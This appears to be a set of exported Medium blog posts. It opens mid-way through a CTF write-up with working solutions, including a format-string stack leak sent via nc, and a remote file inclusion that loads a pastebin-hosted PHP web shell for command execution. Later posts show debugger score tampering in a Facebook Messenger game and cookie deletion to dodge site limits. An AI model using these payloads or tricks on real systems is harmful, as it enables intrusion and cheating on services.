<pre name="5375" id="5375" class="graf graf--pre graf-after--pre">img_pix.save(encrypted.png)</pre>
<p name="f59f" id="f59f" class="graf graf--p graf-after--pre">It seems that each character of the flag is
placed at random points in the encrypted image. Fortunately, each character also comes with the
coordinates of the next character. To solve the challenge, we just write a reversing script.</p>
<pre name="61b5" id="61b5"
class="graf graf--pre graf-after--p">FLAG = “”<br>img = Image.open(“encrypted.png”)<br>img_pix = img.convert(“RGB”)</pre>
<pre name="bd59" id="bd59"
class="graf graf--pre graf-after--pre">FLAG_LEN, x, y = img_pix.getpixel((0, 0))<br>for i in range(FLAG_LEN — 1):<br> c, x, y = img_pix.getpixel((x, y))<br> FLAG += chr(c)</pre>
<pre name="cd1f" id="cd1f" class="graf graf--pre graf-after--pre">print FLAG</pre>
<p name="d169" id="d169" class="graf graf--p graf-after--pre">The flag is <code
class="markup--code markup--p-code">h4ck1t{1NF0RM$T10N_1$_N0T_$3CUR3_4NYM0R}</code>.</p>
<h3 name="e98b" id="e98b" class="graf graf--h3 graf-after--p">Argentina (100)</h3>
<p name="dbc4" id="dbc4" class="graf graf--p graf-after--h3">Im guessing the point of this problem was for
you to go through the network data and look for the right packets, but I just used <code
class="markup--code markup--p-code">strings</code>.</p>
<pre name="4678" id="4678"
class="graf graf--pre graf-after--p">$ strings top_secret_39af3e3ce5a5d5bc915749267d92ba43.pcap | grep h4ck1t<br>PASS h4ck1t{i_G07_ur_f1l3s}</pre>
<p name="5407" id="5407" class="graf graf--p graf-after--pre">The flag is <code
class="markup--code markup--p-code">h4ck1t{i_G07_ur_f1l3s}</code>.</p>
<h3 name="d1f6" id="d1f6" class="graf graf--h3 graf-after--p">Brazil (100)</h3>
<p name="d93e" id="d93e" class="graf graf--p graf-after--h3">In this challenge, we get a ZIP full of random
files (that look super suspicious), and we are asked to look for a secret. One place I eventually decided
to look at was Thumbs.db, which is a file that stores thumbnails for Windows Explorer.</p>
<p name="ccd5" id="ccd5" class="graf graf--p graf-after--p">There are many tools out there that can help
open this type of file. I used <a href="https://thumbsviewer.github.io"
data-href="https://thumbsviewer.github.io" class="markup--anchor markup--p-anchor" rel="noopener"
target="_blank">Thumbs Viewer</a>. Either way, the flag is the name of one of the thumbnails, <code
class="markup--code markup--p-code">h4ck1t{75943a3ca2223076e997fe30e17597d4}</code>.</p>
<h3 name="7d4a" id="7d4a" class="graf graf--h3 graf-after--p">Canada (300)</h3>
<p name="4a27" id="4a27" class="graf graf--p graf-after--h3">I dont think I did this the intended way, but
we were given a binary that apparently produces an output file. But I just did</p>
<pre name="62cc" id="62cc"
class="graf graf--pre graf-after--p">$ strings parse | grep h4ck1t<br> to unused region of span2910383045673370361328125_cgo_thread_start missingacquirep: invalid p stateallgadd: bad status Gidlebad procedure for programbad status in shrinkstackcant scan gchelper stackchansend: spurious wakeupcheckdead: no m for timercheckdead: no p for timerh4ck1t{T0mmy_g0t_h1s_Gun}mach_semcreate desc countmissing stack in newstackno buffer space availableno such file or directoryoperation now in progressreflect: Bits of nil Typereleasep: invalid p stateresource deadlock avoidedruntime: program exceeds runtime</pre>
<p name="500e" id="500e" class="graf graf--p graf-after--pre">The flag is <code
class="markup--code markup--p-code">h4ck1t{T0mmy_g0t_h1s_Gun}</code>.</p>
<h3 name="5532" id="5532" class="graf graf--h3 graf-after--p">China (150)</h3>
<p name="5d82" id="5d82" class="graf graf--p graf-after--h3">This one was rather annoying. When you first
open the RTF file, there is about 53 pages of random hex. I stripped all the nonsense off, and opened the
binary file with HxD, only to discover that it was a PNG. Not only that, it seemed to have a ZIP appended
to the end of it.</p>
<p name="d14c" id="d14c" class="graf graf--p graf-after--p">At that point, I just <code
class="markup--code markup--p-code">binwalk</code>d the PNG and extracted the ZIP, leading me to <code
class="markup--code markup--p-code">flag.txt</code>, containing the flag, <code
class="markup--code markup--p-code">h4ck1t{rtf_d0cs_4r3_awesome}</code>.</p>
<h3 name="d060" id="d060" class="graf graf--h3 graf-after--p">Chile (100)</h3>
<p name="2e87" id="2e87" class="graf graf--p graf-after--h3">Were told to connect to <code
class="markup--code markup--p-code">91.231.84.36:9001</code>. When we connect, we are greeted with a
prompt: <code class="markup--code markup--p-code">wanna see?</code></p>
<p name="bfaf" id="bfaf" class="graf graf--p graf-after--p">It seems that the program will print back
whatever you give it. One thought that came to mind was a print format vulnerability. If the program calls
<code class="markup--code markup--p-code">printf(input)</code> where <code
class="markup--code markup--p-code">input</code> is the user input, then putting format symbols into our
input will cause the program to start reading off the stack.
</p>
<p name="91c7" id="91c7" class="graf graf--p graf-after--p">There was probably a better way to do it, but
essentially I just grabbed the top 50 elements off the stack and looked for a flag. And it was there!</p>
<pre name="423e" id="423e"
class="graf graf--pre graf-after--p">failedxyz@backtick:~$ python -c print “%p-” * 50 | nc 91.231.84.36 9001<br>wanna see?<br>ok, so…<br>0x7f07781984830x7f07781999e00x7f0777ec47100x7f07781999e0-(nil)-0x70252d70252d70250x252d70252d70252d-0x2d70252d70252d700x70252d70252d70250x252d70252d70252d-0x2d70252d70252d700x70252d70252d70250x252d70252d70252d-0x2d70252d70252d700x70252d70252d70250x252d70252d70252d-0x2d70252d70252d700x70252d70252d70250x252d70252d70252d-0x2d70252d70252d700x70252d70252d70250x252d70252d70252d-0x2d70252d70252d700x2d70252d7025-(nil)-(nil)-0x7f0777de7c38-(nil)-0x7ffe058d71d00x7f07781984000x7f0777e549870x7f0778198400-(nil)-0x7f07783c77400x7f0777e517d90x7f07781984000x7f0777e49693-(nil)-0xea7c2294f9fed0000x7ffe058d71d00x4007c10x647b74316b6334680x355f7530595f44310x3f374168375f65450x7d373f-0x4007f00xea7c2294f9fed0000x7ffe058d72b0-(nil)-(nil)-</pre>
<p name="92bf" id="92bf" class="graf graf--p graf-after--pre">If you get rid of the <code
class="markup--code markup--p-code">(nil)</code>s and reverse the string (remember endianness), then you
should eventually arrive at the flag, which is <code
class="markup--code markup--p-code">h4ck1t{d1D_Y0u_5Ee_7hA7??7}</code>.</p>
<h3 name="5a4b" id="5a4b" class="graf graf--h3 graf-after--p">Germany (200)</h3>
<p name="7699" id="7699" class="graf graf--p graf-after--h3">In this problem, we are given a dump of some
Corp Users home folder. Most of the documents are useless, but what we are looking for is in the AppData
folder. More specifically, the transmission of information happens over Skype, so I looked in <code
class="markup--code markup--p-code">AppData\Roaming\Skype\live#3aames.aldrich</code>.</p>
<p name="e494" id="e494" class="graf graf--p graf-after--p"><code
class="markup--code markup--p-code">main.db</code> kinda stuck out, so I opened that first. It was an
SQLite database of a bunch of different Skype data. I ended up finding the flag in the <code
class="markup--code markup--p-code">Contacts</code> table, in the row containing the user <code
class="markup--code markup--p-code">zog black</code>, under <code
class="markup--code markup--p-code">province</code> and <code
class="markup--code markup--p-code">city</code> columns apparently. The flag was <code
class="markup--code markup--p-code">h4ck1t{87e2bc9573392d5f4458393375328cf2}</code>.</p>
<h3 name="16a6" id="16a6" class="graf graf--h3 graf-after--p">Mexico (150)</h3>
<p name="5e37" id="5e37" class="graf graf--p graf-after--h3">If you click around the navigation bar of the
website, youll notice that the pages are loaded by <code
class="markup--code markup--p-code">index.php?page=example</code>. It probably includes pages through
some naive include function without any sanitation, although it appends <code
class="markup--code markup--p-code">.php</code> to the end of the filename.</p>
<p name="8bdd" id="8bdd" class="graf graf--p graf-after--p">To bypass this, we just stick a <code
class="markup--code markup--p-code">%00</code> null character to the end of our URL. Then PHP stops
reading when it hits that and wont append <code class="markup--code markup--p-code">.php</code> after the
file. But what file can we include to find the flag?</p>
<p name="a0e1" id="a0e1" class="graf graf--p graf-after--p">It occurred to me that if we could include any
file, we could set up a pastebin containing an executable PHP code, and then include it. The PHP code I
included looks like this:</p>
<pre name="cd28" id="cd28"
class="graf graf--pre graf-after--p">if (isset($_GET[cmd]))<br> echo system($_GET[cmd]);<br>?&gt;</pre>
<p name="4372" id="4372" class="graf graf--p graf-after--pre">Stick that in a pastebin or something, and
then include it in your URL like this:</p>
<pre name="5f6d" id="5f6d"
class="graf graf--pre graf-after--p">http://91.231.84.36:9150/index.php?page=http://pastebin.com/raw/icSpe0F0%00</pre>
<p name="e164" id="e164" class="graf graf--p graf-after--pre">Now you can execute shell commands from the
URL. Doing an <code class="markup--code markup--p-code">ls</code> on the current directory reveals a file
called <code class="markup--code markup--p-code">sup3r_$3cr3t_f1le.php</code>. If you <code
class="markup--code markup--p-code">cat sup3r*</code> then you should be able to get the flag: <code
class="markup--code markup--p-code">h4ck1t{g00d_rfi_its_y0ur_fl@g}</code>.</p>
<h3 name="4b38" id="4b38" class="graf graf--h3 graf-after--p">Mongolia (100)</h3>
<p name="e011" id="e011" class="graf graf--p graf-after--h3">In this problem we are asked to connect to
<code class="markup--code markup--p-code">ctf.com.ua:9988</code> and solve math problems. We told <code
class="markup--code markup--p-code">C = A ^ B</code> and then given C, we are asked to find A and B.
Problem is, the C that they give are sometimes hundreds of digits long. Brute forcing directly is not a
good idea.
</p>
<p name="486d" id="486d" class="graf graf--p graf-after--p">The algorithm we used was to prime-factorize C,
and then multiply the factors as A, and counting how many of each factor as B. Obviously, if a factor like
2 appeared more than once, we multiply it twice into A, rather than making B twice as large.</p>
<p name="2a7c" id="2a7c" class="graf graf--p graf-after--p">We used the Sieve of Atkin to generate a list of
primes up to 10,000,000 (although we probably didnt need that many), and stored it into <code
class="markup--code markup--p-code">primes.txt</code>. The final program looks like this:</p>
<pre name="f6c7" id="f6c7"
class="graf graf--pre graf-after--p">from collections import Counter<br>import socket</pre>
<pre name="7f31" id="7f31"
class="graf graf--pre graf-after--pre">s = socket.socket()<br>s.connect((“ctf.com.ua”, 9988))</pre>
<pre name="50f2" id="50f2"
class="graf graf--pre graf-after--pre">primes = map(int, open(“primes.txt”).read().split(“ “))<br>i = 0<br>while True:<br> o = s.recv(8192)<br> print o<br> q = o.replace(“\n”, “”).replace(“ “, “”).split(“C=”)<br> r = int(q[-1])<br> print r<br> done = False<br> factors = []<br> for prime in primes:<br> while r % prime == 0:<br> factors.append(prime)<br> r //= prime<br> c = Counter(factors)<br> f = zip(*c.items())<br> B = min(c.values())<br> print f, c<br> A = reduce(lambda x, y: x * (y ** (c[y] // B)), f[0], 1)<br> if B == 1: A = r<br> print A, B<br> s.send(“%s %s\n” % (A, B))</pre>
<p name="16fa" id="16fa" class="graf graf--p graf-after--pre">The flag is <code
class="markup--code markup--p-code">h4ck1t{R4ND0M_1S_MY_F4V0UR1T3_W34P0N}</code>.</p>
<h3 name="51b1" id="51b1" class="graf graf--h3 graf-after--p">Oman (50)</h3>
<p name="8660" id="8660" class="graf graf--p graf-after--h3">I was so excited to do this challenge! Once I
unzipped the file and saw the folders and files, I knew it was a Minecraft world save!</p>
<p name="13b9" id="13b9" class="graf graf--p graf-after--p">I kind of saw it coming, but once I opened the
world, tons of shit blew up in my face. I decided to open it with MCEdit instead. There is a sign above
the spawn point that asks you to “remove the gray”. Since there was a huge rectangular field of bedrock, I
assumed it meant that.</p>
<p name="3476" id="3476" class="graf graf--p graf-after--p">Thing is if you play, and step on the pressure
plate, it will trigger a TNT chain reaction, blowing up the blocks that make up the flag. Using MCEdit, I
just selected the bedrock region and deleted it, revealing the flag below: <code
class="markup--code markup--p-code">h4ck1t{m1n3craft_h4c3r}</code>.</p>
<h3 name="d421" id="d421" class="graf graf--h3 graf-after--p">Paraguay (250)</h3>
<p name="3a9c" id="3a9c" class="graf graf--p graf-after--h3">Honestly, this one was such a pain in the ass.
Just when you thought it was 100 nested ZIPs, suddenly a RAR comes out of nowhere. Fortunately, a Python
library called <code class="markup--code markup--p-code">pyunpack</code> figures that out for you, by
checking the magic number of the file. The final script looks like this:</p>
<pre name="1165" id="1165"
class="graf graf--pre graf-after--p">from pyunpack import *<br>import shutil</pre>
<pre name="e117" id="e117"
class="graf graf--pre graf-after--pre">for i in range(100, 0, -1):<br> Archive(“%d” % i).extractall(“.”)<br> shutil.move(“work_folder/%d” % (i — 1), “%d” % (i — 1))</pre>
<p name="4d19" id="4d19" class="graf graf--p graf-after--pre">The flag is <code
class="markup--code markup--p-code">h4ck1t{0W_MY_G0D_Y0U_M4D3_1T}</code> .</p>
<h3 name="ee3c" id="ee3c" class="graf graf--h3 graf-after--p">United States (50)</h3>
<p name="216c" id="216c" class="graf graf--p graf-after--h3">This one was a freebie. Join their Telegram
channel and you get a free flag: <code
class="markup--code markup--p-code">h4ck1t{fr33_4nd_$ecur3!}</code>.</p>
<h3 name="df84" id="df84" class="graf graf--h3 graf-after--p">Trivia</h3>
<p name="7257" id="7257" class="graf graf--p graf-after--h3">There were a lot of trivia questions on the
board! They werent worth much, but still pretty fun. Here are the solutions:</p>
<pre name="28e0" id="28e0"
class="graf graf--pre graf-after--p graf--trailing">Cote dIvoire: h4ck1t{arpanet}<br>Bolivia: h4ck1t{Tim}<br>Colombia: h4ck1t{heartbleed}<br>Costa Rica: h4ck1t{7}<br>Ecuador: h4ck1t{archie}<br>Finland: h4ck1t{mitnick}<br>Greece: h4ck1t{30}<br>Honduras: h4ck1t{Binary}<br>Italy: h4ck1t{2015}<br>Kazakhstan: h4ck1t{polymorphic}<br>Kyrgyzstan: h4ck1t{smtp}<br>Madagascar: h4ck1t{caesar}<br>Nicaragua: h4ck1t{B@S3_S0_B@S3_}<br>Nigeria: h4ck1t{128}<br>Peru: h4ck1t{Decimal}<br>Phillipines: h4ck1t{creeper}<br>Spain: h4ck1t{social engineering}<br>Venezuela: h4ck1t{admin123}</pre>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/8caf20e4b185"><time class="dt-published"
datetime="2016-10-02T20:46:42.000Z">October 2, 2016</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/h4ck1t-ctf-2016-8caf20e4b185" class="p-canonical">Canonical link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

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@ -0,0 +1,131 @@
---
title: Lightning Speed Run
date: 2016-12-01T22:26:36.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="6b11" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="a5c4" id="a5c4" class="graf graf--p graf-after--h3">Recently, a new little icon appeared in the
text box on Messenger next to the camera icon and payments:</p>
<figure name="a818" id="a818" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="0*pGW634t0gBRppaDV.png" data-width="417" data-height="165"
src="https://cdn-images-1.medium.com/max/800/0*pGW634t0gBRppaDV.png">
<figcaption class="imageCaption">The games icon.</figcaption>
</figure>
<p name="c25c" id="c25c" class="graf graf--p graf-after--figure">If you click it, a menu shows up and you
can play a number of in-browser games. It seems that the games are run without any plugins, so they use
HTML5 to run and interact with Facebooks API, such as setting scores on the leaderboard and whatnot.</p>
<p name="f0a0" id="f0a0" class="graf graf--p graf-after--p">In this post, Ill look at the game <strong
class="markup--strong markup--p-strong">TRACK &amp; FIELD 100M</strong>. The object of this game is to
press the left-foot button and the right-foot button as quickly as possible. Since your final score is the
elapsed time, lower scores will outrank higher scores. I will explain how to achieve a score of 0:00.01.
</p>
<h3 name="5a38" id="5a38" class="graf graf--h3 graf-after--p">Step 1: Finding the Source Files</h3>
<p name="5644" id="5644" class="graf graf--p graf-after--h3">It turns out that when Messenger loads the
source files for the game (which are *.js files) when you first open the game. This makes it easy to
figure out which source files are responsible for the actual game logic. In this tutorial, Ill be using
Chrome, but Ive confirmed that it works on Microsoft Edge as well.</p>
<p name="7b9c" id="7b9c" class="graf graf--p graf-after--p">First, open Developer Tools using Ctrl+Shift+I
or F12, and go to the Network tab. There might be a few resources loaded already; delete them with the 🛇
button. Since we are looking for JavaScript files, open the filter view and select JS.</p>
<p name="dcc3" id="dcc3" class="graf graf--p graf-after--p">Now, when Facebook loads the JavaScript source
files, they will appear in this view. Open the game menu and press the Play button next to the game TRACK
&amp; FIELD 100M. Once you have done this, a few files will start to appear.</p>
<figure name="8807" id="8807" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="0*_aZtMhKZDxW0im1t.png" data-width="676" data-height="275"
src="https://cdn-images-1.medium.com/max/800/0*_aZtMhKZDxW0im1t.png">
<figcaption class="imageCaption">Network tab in Chrome Developer Tools.</figcaption>
</figure>
<p name="07f6" id="07f6" class="graf graf--p graf-after--figure">main.js looks like a pretty good place to
start. Look at the URL: <code
class="markup--code markup--p-code">https://apps-1665884840370147.apps.fbsbx.com/instant-bundle/1230433990363006/1064870650278605/main.js</code>.
Since this resource has already been loaded into the browser, we can find it under the Sources tab of
Developer Tools. Trace the path, starting from the domain like this:</p>
<figure name="360f" id="360f" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="0*Dcb_QsTKJFFrq2lg.png" data-width="676" data-height="529"
src="https://cdn-images-1.medium.com/max/800/0*Dcb_QsTKJFFrq2lg.png">
<figcaption class="imageCaption">Finding the source code.</figcaption>
</figure>
<h3 name="e060" id="e060" class="graf graf--h3 graf-after--figure">Step 2: Analyzing main.js</h3>
<p name="df9f" id="df9f" class="graf graf--p graf-after--h3">Go ahead an pretty-print the minified file,
just like it suggests. (for those of you who didnt get that notification, just hit the {} button next to
Line/Column. Since this file isnt obfuscated, its fairly easy to just look through the file and figure
out what it does.</p>
<p name="147a" id="147a" class="graf graf--p graf-after--p">I dont really know how to explain this part
well; if youre familiar with code, you should be able to traverse the file pretty easily. I eventually
arrived at this function:</p>
<pre name="65f2" id="65f2"
class="graf graf--pre graf-after--p">GameScene.prototype.stepEnd_ = function() {<br> if (this.isStepTimeOver_(2e3)) {<br> var e = Math.floor(1e3 * this.timeSpeed_.getTime());<br> FBInstant.setScore(e),<br> FBInstant.takeScreenshot(),<br> this.stepFunc_ = this.stepEnd2_,<br> this.audience_.fadeTo(.5)<br> }<br>}</pre>
<p name="ff9d" id="ff9d" class="graf graf--p graf-after--pre"><code
class="markup--code markup--p-code">stepEnd_</code> is the handler for the event where the user finishes
the game. As you can see, it computes the elapsed the time, and multiplies it by 1,000 (probably because
Facebook stores these scores as integers). This is sent to Facebook using the <code
class="markup--code markup--p-code">FBInstant</code> librarys <code
class="markup--code markup--p-code">setScore</code> function. After looking at a couple of these games,
youll notice that <code class="markup--code markup--p-code">FBInstant</code> is pretty much universal
among these games, since its required to interact with the Facebook API.</p>
<h3 name="25ef" id="25ef" class="graf graf--h3 graf-after--p">Step 3: The Exploit</h3>
<p name="ed05" id="ed05" class="graf graf--p graf-after--h3">The strategy to exploit this is to add a
breakpoint at that line, so code execution is paused before that line is executed. Then we are free to
change the variable to whatever wed like to change it to, and then resume execution so that our changed
value is sent to the server.</p>
<p name="4095" id="4095" class="graf graf--p graf-after--p">Id like to point out that setting the variable
to non-numerical types will simply cause the upload to fail. Im guessing theyre doing some type-checking
on it server-side. That doesnt prevent us from simply changing the value to 0 and sending it to the
server.</p>
<p name="bf3b" id="bf3b" class="graf graf--p graf-after--p">To add a breakpoint to that line, click the line
number where the line <code class="markup--code markup--p-code">FBInstant.setScore(e)</code> appears. The
blue arrow indicates that a breakpoint has been set, and code execution will stop before this line starts.
</p>
<figure name="8c89" id="8c89" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="0*pFhcPeUtuQ3H74Qd.png" data-width="427" data-height="151"
src="https://cdn-images-1.medium.com/max/800/0*pFhcPeUtuQ3H74Qd.png">
<figcaption class="imageCaption">Adding a breakpoint in the code.</figcaption>
</figure>
<p name="4780" id="4780" class="graf graf--p graf-after--figure">Now, start the game and play through it
like normal. It doesnt matter what score you get, as long as you finish and trigger the <code
class="markup--code markup--p-code">stepEnd_</code> function, the code will stop and wait for you before
submitting your score.</p>
<p name="d32b" id="d32b" class="graf graf--p graf-after--p">If you are still on the Sources tab, youll be
able to see the variables in the scope of the deepest function we are in when the code stops.</p>
<figure name="8f1b" id="8f1b" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="0*YZn_TJFtZ8NSNpne.png" data-width="679" data-height="521"
src="https://cdn-images-1.medium.com/max/800/0*YZn_TJFtZ8NSNpne.png">
<figcaption class="imageCaption">Local variables at the point where we added the breakpoint.</figcaption>
</figure>
<p name="23ff" id="23ff" class="graf graf--p graf-after--figure">Open the Console (either by navigating to
the Console tab, or just pressing Esc to open it within the Sources tab), and just type</p>
<pre name="135a" id="135a" class="graf graf--pre graf-after--p">e = 1</pre>
<p name="b024" id="b024" class="graf graf--p graf-after--pre">We just changed the value of the local
variable <code class="markup--code markup--p-code">e</code> to 1 (1 millisecond; for some reason it bugs
when I use <code class="markup--code markup--p-code">e = 0</code>). When the execution continues, it will
use our changed value, and submit that to the score server. Exit the game, and you should see that score
reflected on the leaderboard.</p>
<h3 name="d338" id="d338" class="graf graf--h3 graf-after--p">Recap</h3>
<p name="4285" id="4285" class="graf graf--p graf-after--h3">When you are developing browser-based games,
you can never trust user input. As long as the user has control, he can jack the browser logic and change
variables during runtime. Ideally, the game logic should be done server-side, and the client is simply a
terminal passing inputs to the server and visuals back to the client.</p>
<p name="2d42" id="2d42" class="graf graf--p graf-after--p">However, this is highly impractical. If you sent
a request for every input and waited for the server to respond, youd get a huge delay, even for very fast
connections. This is one of the hardest problems to tackle in real-time RPGs: how can we verify that the
user is moving as they should, while still running the game as fast as we can?</p>
<p name="90a9" id="90a9" class="graf graf--p graf-after--p graf--trailing">Thats all I have today. Thanks
for reading!</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/eb9637dc5b1c"><time class="dt-published"
datetime="2016-12-01T22:26:36.000Z">December 1, 2016</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/lightning-speed-run-eb9637dc5b1c" class="p-canonical">Canonical link</a>
</p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

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---
title: XinIRC development
date: 2016-12-30T05:19:21.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="a4a4" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="7483" id="7483" class="graf graf--p graf-after--h3">Today, I marked the <a
href="https://github.com/failedxyz/xinircd/releases/tag/v0.1a"
data-href="https://github.com/failedxyz/xinircd/releases/tag/v0.1a"
class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">initial release</a> of XinIRCd,
an IRC server that I just started working on recently. As of now, its still heavily inspired by InspIRCd,
from its configuration wizard to its command handling, but Ill start adding more features soon.</p>
<p name="0b8e" id="0b8e" class="graf graf--p graf-after--p graf--trailing">Ive still got a couple weeks
left of break, so Ill try to get as much done in that time as possible.</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/6e7dfe8bce05"><time class="dt-published" datetime="2016-12-30T05:19:21.000Z">December
30, 2016</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/xinirc-development-6e7dfe8bce05" class="p-canonical">Canonical link</a>
</p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

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---
title: Wi-Fi Problems when Installing Linux on ASUS machines
date: 2017-01-03T22:58:06.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="0ff7" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="3a83" id="3a83" class="graf graf--p graf-after--h3">Recently, Ive been exploring installing
various Linux distributions over my Windows installation. The main reason for doing this would be not
having to pull up a virtual machine every time I wanted to do anything.</p>
<p name="3a29" id="3a29" class="graf graf--p graf-after--p">But with both Arch Linux and Ubuntu, I kept
running into the same problem: I couldnt connect to Wi-Fi. I poked around, and it said that my network
switch (the hardware one) was switched off. No matter what I tried to do with <code
class="markup--code markup--p-code">rfkill</code>, I couldnt get the physical switch back on.</p>
<p name="43b7" id="43b7" class="graf graf--p graf-after--p">My ASUS computer doesnt have a network switch.
Theres an airplane mode button, but that didnt really do anything either. I eventually found the
solution in <a href="https://ubuntuforums.org/showthread.php?t=2181558"
data-href="https://ubuntuforums.org/showthread.php?t=2181558" class="markup--anchor markup--p-anchor"
rel="noopener" target="_blank">this thread</a>, but Ill repeat it here.</p>
<pre name="32a3" id="32a3"
class="graf graf--pre graf-after--p">echo &quot;options asus_nb_wmi wapf=4&quot; | sudo tee /etc/modprobe.d/asus_nb_wmi.conf</pre>
<p name="203e" id="203e" class="graf graf--p graf-after--pre">..or simply put that line in that file. <code
class="markup--code markup--p-code">asus_nb_wmi</code> is the driver for the Wi-Fi module. What does
<code class="markup--code markup--p-code">wapf=4</code> do? Well, according to <a
href="https://github.com/rufferson/ashs" data-href="https://github.com/rufferson/ashs"
class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">this</a>,
</p>
<blockquote name="9624" id="9624" class="graf graf--blockquote graf-after--p">When WAPF = 4driver sends
ACPI scancode 0x88 which is converted by asus-wmi to RFKILL key, which is processed by all registerd
rfkill drivers to toggle their state.</blockquote>
<p name="6456" id="6456" class="graf graf--p graf-after--blockquote">Essentially, it is making <code
class="markup--code markup--p-code">rfkill</code> recognize that the hardware switch is not off, so the
Wi-Fi works again.</p>
<p name="ca42" id="ca42" class="graf graf--p graf-after--p graf--trailing">Thanks for reading!</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/75be2b8b7cc3"><time class="dt-published" datetime="2017-01-03T22:58:06.000Z">January
3, 2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/wi-fi-problems-when-installing-linux-on-asus-machines-75be2b8b7cc3"
class="p-canonical">Canonical link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

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---
title: Watch out, returning users!
date: 2017-01-07T02:58:17.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="0a81" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="2c44" id="2c44" class="graf graf--p graf-after--h3">A lot of websites put <strong
class="markup--strong markup--p-strong">cookies</strong> on your computer in order to save information
about your previous visits to the site. The most common use case would be storing a key that would allow
your computer to auto-login to the site the next time you visited it (rather than forcing you to
re-login).</p>
<p name="a1d8" id="a1d8" class="graf graf--p graf-after--p">Many sites also put cookies on your computer to
figure out if youve visited the site before, and may change behavior based on whether youre a new user,
or youre a returning user.</p>
<p name="a6fd" id="a6fd" class="graf graf--p graf-after--p">For example, take a look at <a
href="https://www.livingsocial.com/deals/1630304-pokemon-go-course"
data-href="https://www.livingsocial.com/deals/1630304-pokemon-go-course"
class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">this website</a>. Lets ignore
the product that its advertising for now and just focus on the “Limited Time Savings” offer on the right
side. Isnt it strange how the timer started at 5:00 exactly? In other words, either you were incredibly
lucky to have visited the site <em class="markup--em markup--p-em">exactly</em> 5 minutes before the offer
ended, or theres some other trick theyre pulling.</p>
<p name="1b3d" id="1b3d" class="graf graf--p graf-after--p">It turns out that one of the cookies (I havent
looked into it enough, but if you poke around, you should be able to find it) they store <strong
class="markup--strong markup--p-strong">on your machine</strong> determines when this limited time offer
either started or expires. What it means is that the first time you visit the site, the cookie is created
and you have 5 minutes from that moment to do this purchase. Afterwards, the cookie still exists on your
computer, so it wont offer you the deal anymore.</p>
<p name="49b9" id="49b9" class="graf graf--p graf-after--p">But this means that if you get rid of the
cookie, you can get the 5 minute deal back. If you get an extension such as <a
href="https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg"
data-href="https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg"
class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">EditThisCookie</a> thats able to
view and manipulate cookies, then you can have a lot better control of what websites are storing on your
computer.</p>
<p name="4afc" id="4afc" class="graf graf--p graf-after--p">Some other websites this trick works on include
<a href="https://www.linkedin.com/" data-href="https://www.linkedin.com/"
class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">LinkedIn</a> and <a
href="https://www.quora.com/" data-href="https://www.quora.com/" class="markup--anchor markup--p-anchor"
rel="noopener" target="_blank">Quora</a>, which ask you to create an account to view content after the
first time you visit their site. If you dont want to create an account, then simply delete any cookies
theyve stored on your computer and you will be able to access the site as if it was your first time.
</p>
<p name="3490" id="3490" class="graf graf--p graf-after--p graf--trailing">Thats all. Thanks for reading!
</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/eccca70f4684"><time class="dt-published" datetime="2017-01-07T02:58:17.000Z">January
7, 2017</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/watch-out-returning-users-eccca70f4684" class="p-canonical">Canonical
link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

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---
title: Why I think HTML is a programming language.
date: 2017-01-14T09:07:31.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="21e8" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="94a6" id="94a6" class="graf graf--p graf-after--h3">Yep, Im one of those people. Go ahead and
judge me, but at least hear me out first.</p>
<p name="7407" id="7407" class="graf graf--p graf-after--p">Obviously, the first thing we have to do in
order to answer the “Is HTML a programming language?” question is to define what a programming language
is. Lets literally take the term apart:</p>
<ul class="postList">
<li name="ede6" id="ede6" class="graf graf--li graf-after--p"><strong
